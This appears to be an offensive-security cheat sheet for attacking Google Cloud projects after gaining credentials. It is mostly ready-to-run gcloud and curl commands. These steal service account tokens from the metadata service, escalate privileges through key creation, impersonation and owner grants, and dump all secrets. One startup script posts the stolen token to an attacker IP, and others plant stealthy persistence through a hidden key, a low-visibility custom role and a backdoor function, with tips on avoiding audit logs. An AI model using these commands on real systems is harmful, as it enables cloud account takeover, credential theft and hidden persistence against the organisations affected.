GCP

Sections GCP

Google Cloud Platform attack surface. Storage in Cloud Storage , external recon in Cloud Recon . This file covers what to do once you have credentials or are inside a GCP project.

PROJECT=target-prod
SA=svc-account@target-prod.iam.gserviceaccount.com

i. Authentication options

Service Account key file (most common foothold)

JSON key file (-----BEGIN PRIVATE KEY----- inside):

gcloud auth activate-service-account --key-file=key.json
gcloud auth list                          ## confirm active identity
gcloud config set project $PROJECT

Application Default Credentials (ADC)

gcloud auth application-default login
## ADC stored in: ~/.config/gcloud/application_default_credentials.json

Access token directly

## Get a token for an active identity:
TOKEN=$(gcloud auth print-access-token)
## Use it directly:
curl -H "Authorization: Bearer $TOKEN" "https://cloudresourcemanager.googleapis.com/v1/projects"

Personal user auth (interactive)

gcloud auth login
gcloud auth login --no-launch-browser     ## for headless / SSH

ii. Metadata service inside Compute Engine

When you have RCE or SSRF on a Compute Engine instance, hit the metadata service. GCP requires the Metadata-Flavor: Google header - missing it returns 403.

## Test access:
curl -H "Metadata-Flavor: Google" "http://169.254.169.254/computeMetadata/v1/"

## Instance attributes (often contain startup scripts with secrets):
curl -H "Metadata-Flavor: Google" "http://169.254.169.254/computeMetadata/v1/instance/attributes/"
curl -H "Metadata-Flavor: Google" "http://169.254.169.254/computeMetadata/v1/instance/attributes/startup-script"

## Service account token (instant identity):
curl -H "Metadata-Flavor: Google" "http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token"
## Returns access_token, scopes, expires_in.

## Service account identity:
curl -H "Metadata-Flavor: Google" "http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email"

## All metadata at once:
curl -H "Metadata-Flavor: Google" "http://169.254.169.254/computeMetadata/v1/?recursive=true&alt=json"

Set the env var to use the token directly with gcloud:

TOKEN=$(curl -sH "Metadata-Flavor: Google" "http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token" | jq -r .access_token)
gcloud auth login --cred-file=<(echo "{\"access_token\":\"$TOKEN\",\"type\":\"authorized_user\"}") --no-launch-browser

iii. Identity and scope enumeration

gcloud auth list
gcloud config list
gcloud projects list                      ## what projects can I see?
gcloud organizations list                 ## any org-level rights?

## Service account this identity belongs to:
gcloud iam service-accounts list --project=$PROJECT
gcloud iam service-accounts get-iam-policy $SA --project=$PROJECT

## IAM policy of the project (who has what):
gcloud projects get-iam-policy $PROJECT --format=json
## Filter to your principal:
gcloud projects get-iam-policy $PROJECT --flatten="bindings[].members" \
  --format='table(bindings.role,bindings.members)' \
  --filter="bindings.members:user:you@example.com"

Org / folder level (if accessible):

gcloud organizations get-iam-policy ORG_ID
gcloud resource-manager folders list --organization=ORG_ID
gcloud resource-manager folders get-iam-policy FOLDER_ID

iv. Enumerate resources

## Compute Engine VMs:
gcloud compute instances list
gcloud compute instances describe NAME --zone=us-central1-a

## Storage buckets:
gcloud storage ls
## Per bucket:
gcloud storage buckets describe gs://BUCKET
gcloud storage objects list gs://BUCKET/

## Cloud Functions:
gcloud functions list --regions=us-central1
gcloud functions describe FUNCNAME --region=us-central1

## Cloud Run services:
gcloud run services list
gcloud run services describe SVCNAME --region=us-central1

## GKE (Kubernetes) clusters:
gcloud container clusters list
gcloud container clusters get-credentials CLUSTER --region=us-central1
kubectl get pods -A

## Secret Manager:
gcloud secrets list
gcloud secrets versions list SECRET_NAME
gcloud secrets versions access latest --secret=SECRET_NAME

## SQL instances:
gcloud sql instances list
gcloud sql databases list --instance=INST

v. The big privesc paths

GCP IAM permissions are fine-grained. A handful of permissions unlock most privesc.

iam.serviceAccountKeys.create - issue your own key

If you can create a key for ANY service account, you can authenticate as it forever:

gcloud iam service-accounts keys create attacker.json --iam-account=admin-sa@$PROJECT.iam.gserviceaccount.com
gcloud auth activate-service-account --key-file=attacker.json

iam.serviceAccounts.getAccessToken - directly impersonate

Even cleaner than key creation, no persistent artifact:

gcloud iam service-accounts get-iam-policy admin-sa@$PROJECT.iam.gserviceaccount.com
## If your identity has roles/iam.serviceAccountTokenCreator on the target:
TOKEN=$(gcloud auth print-access-token --impersonate-service-account=admin-sa@$PROJECT.iam.gserviceaccount.com)
## Or for any gcloud command:
gcloud projects list --impersonate-service-account=admin-sa@$PROJECT.iam.gserviceaccount.com

iam.serviceAccounts.actAs + create-something-that-runs-as

actAs is required for “I can attach this SA to a resource I create”. The resource (function, VM, etc) then runs as the SA and the SA’s permissions become yours.

Combinations:

  • iam.serviceAccounts.actAs + compute.instances.create → create VM with target SA, SSH in, use IMDS
gcloud compute instances create pwn-vm \
  --service-account=admin-sa@$PROJECT.iam.gserviceaccount.com \
  --scopes=cloud-platform \
  --zone=us-central1-a \
  --image-family=debian-12 --image-project=debian-cloud
## SSH:
gcloud compute ssh pwn-vm --zone=us-central1-a
## Then hit metadata:
curl -H "Metadata-Flavor: Google" "http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token"
  • iam.serviceAccounts.actAs + cloudfunctions.functions.create → Function runs as target SA
mkdir -p func && cd func
cat > main.py <<'EOF'
import subprocess
def hello_world(request):
    out = subprocess.check_output(['gcloud', 'auth', 'print-access-token'])
    return out
EOF
cat > requirements.txt <<EOF
google-auth
EOF
gcloud functions deploy pwn-func \
  --runtime=python311 \
  --trigger-http --allow-unauthenticated \
  --service-account=admin-sa@$PROJECT.iam.gserviceaccount.com \
  --entry-point=hello_world
## Get function URL, invoke it, get token
  • iam.serviceAccounts.actAs + run.services.create → Cloud Run runs as target SA (same pattern)

  • iam.serviceAccounts.actAs + deploymentmanager.deployments.create → Deployment Manager runs as the Google APIs service account (often has org-level rights, this one is BIG)

iam.roles.update - modify a custom role to add more permissions

gcloud iam roles update ROLE_NAME --project=$PROJECT --add-permissions=resourcemanager.projects.setIamPolicy

resourcemanager.projects.setIamPolicy - grant yourself any role

gcloud projects add-iam-policy-binding $PROJECT \
  --member=user:you@example.com --role=roles/owner

cloudbuild.builds.create - Cloud Build runs with the Cloud Build SA, which has Project Editor by default

gcloud builds submit --config=cloudbuild.yaml
## cloudbuild.yaml runs a step that exfiltrates the build's default SA token

vi. Specific service attacks

Compute Engine

  • compute.instances.setMetadata → add a startup script that runs on next boot, instance runs it as the attached SA
  • compute.instances.osLogin → SSH into VMs you have OS Login rights on
  • compute.instances.addAccessConfig → expose internal VMs publicly
## Add a malicious startup script:
gcloud compute instances add-metadata TARGET_VM --zone=us-central1-a \
  --metadata=startup-script='#!/bin/bash
curl -H "Metadata-Flavor: Google" "http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token" > /tmp/t.json
curl -X POST -d @/tmp/t.json http://10.10.14.1/x'
gcloud compute instances reset TARGET_VM --zone=us-central1-a

Cloud Functions / Cloud Run code exfil

Functions often have hardcoded secrets and connection strings in source:

gcloud functions describe FUNC --format='value(sourceArchiveUrl,sourceUploadUrl,sourceRepository.sourceUrl)'
## Or download via Console / gsutil. Then:
grep -RIE 'password|secret|token|api_key|connection' .

Secret Manager bulk dump

for s in $(gcloud secrets list --format='value(name)'); do
  echo "=== $s ==="
  gcloud secrets versions access latest --secret="$s" 2>/dev/null
done

GKE pod -> node escape

Once in a pod, check for token, mounted secrets, hostPath mounts:

## In-pod token:
cat /var/run/secrets/kubernetes.io/serviceaccount/token
## API check:
curl -k https://kubernetes.default.svc/api/v1/namespaces/default/pods \
  -H "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)"
## Look for hostPath or privileged pods to break out

GKE Workload Identity binds K8s SAs to GCP SAs:

## If your pod has workload identity to a GCP SA:
curl -H "Metadata-Flavor: Google" "http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token"
## This returns a GCP token for the bound SA, not the K8s SA

Cloud SQL

gcloud sql instances list
## Get connection info, often has default password:
gcloud sql instances describe INST
## Reset root password if you have rights:
gcloud sql users set-password root --host=% --instance=INST --password='NewP@ss!'

vii. Tooling

GCP_Scanner

Multi-purpose enum tool, equivalent to ScoutSuite/Prowler for GCP:

python3 scanner.py -o output -p $PROJECT -k key.json

gcpbucketbrute

For storage discovery, see Cloud Storage .

gcp_enum

gcp_enum.sh

gcp_iam_collector / PMapper-style

For graphing privesc paths (newer, evolving). Search GitHub for current best.

gcpgoat

Vulnerable-by-design GCP environment to practice these techniques.

viii. Cross-project access

GCP IAM can span projects, folders, and org. A common misconfig: a project’s SA has Editor on a different project via inheritance.

Find cross-project bindings:

## List all projects you can see:
gcloud projects list
## For each, get IAM and look for your principal:
for p in $(gcloud projects list --format='value(projectId)'); do
  gcloud projects get-iam-policy "$p" --flatten='bindings[].members' \
    --filter="bindings.members:user:you@example.com OR bindings.members:serviceAccount:$SA" \
    --format='value(bindings.role,bindings.members)' 2>/dev/null | sed "s/^/$p /"
done

Bindings at folder or org level cascade down - check those too:

gcloud resource-manager folders get-iam-policy FOLDER_ID
gcloud organizations get-iam-policy ORG_ID

ix. Persistence

Create your own service account

gcloud iam service-accounts create backup-svc --display-name='Backup'
gcloud projects add-iam-policy-binding $PROJECT \
  --member=serviceAccount:backup-svc@$PROJECT.iam.gserviceaccount.com \
  --role=roles/owner
gcloud iam service-accounts keys create backup.json \
  --iam-account=backup-svc@$PROJECT.iam.gserviceaccount.com
## Save backup.json

Add a key to an existing SA

Less visible than creating a new SA:

gcloud iam service-accounts keys create attacker.json --iam-account=existing-svc@$PROJECT.iam.gserviceaccount.com
gcloud iam service-accounts keys list --iam-account=existing-svc@$PROJECT.iam.gserviceaccount.com

Up to 10 keys per SA. Defenders rarely audit individual key serial numbers.

Long-lived backdoor via Cloud Function trigger

Deploy a function that’s triggered by a Cloud Storage event, Pub/Sub, or a scheduler. Modify it later to do anything when triggered:

gcloud functions deploy backup-handler \
  --runtime=python311 --trigger-bucket=BUCKET \
  --service-account=admin-sa@$PROJECT.iam.gserviceaccount.com
## Anytime, redeploy with malicious code, then push an object to the bucket to trigger

Custom role you “own”

If you have iam.roles.create, make a role that grants only what you need, less audit attention than roles/owner:

gcloud iam roles create stealthRole --project=$PROJECT \
  --permissions=iam.serviceAccountKeys.create,resourcemanager.projects.setIamPolicy \
  --stage=GA
gcloud projects add-iam-policy-binding $PROJECT --member=serviceAccount:backup-svc@... --role=projects/$PROJECT/roles/stealthRole

x. Detection / logging

GCP Cloud Audit Logs capture admin activity by default. Data Access logs (read operations) are usually off - read-heavy enum often goes unseen.

Quick check on what’s logged:

gcloud logging logs list
gcloud logging read 'severity>=ERROR' --limit=10

Common detection signals:

  • New SA keys (Cloud Audit logs)
  • IAM binding changes (Cloud Audit logs)
  • Cross-project impersonation patterns
  • Workload Identity Federation abuses

xi. Decision tree

You have GCP creds, now what?

  1. gcloud auth list + gcloud projects list → know your identity and visible projects
  2. Try gcloud projects get-iam-policy for each project, find your principal’s roles
  3. Check for iam.serviceAccounts.* permissions → privesc via impersonation or key creation
  4. Check for *.actAs + create-something rights → privesc via Function/VM/Run with target SA
  5. No direct privesc? → enumerate Secret Manager, storage buckets, Cloud SQL for stored creds
  6. Cross-project rights? → look at folder/org level IAM
  7. Persistence → key on existing SA (subtle) or new SA with custom role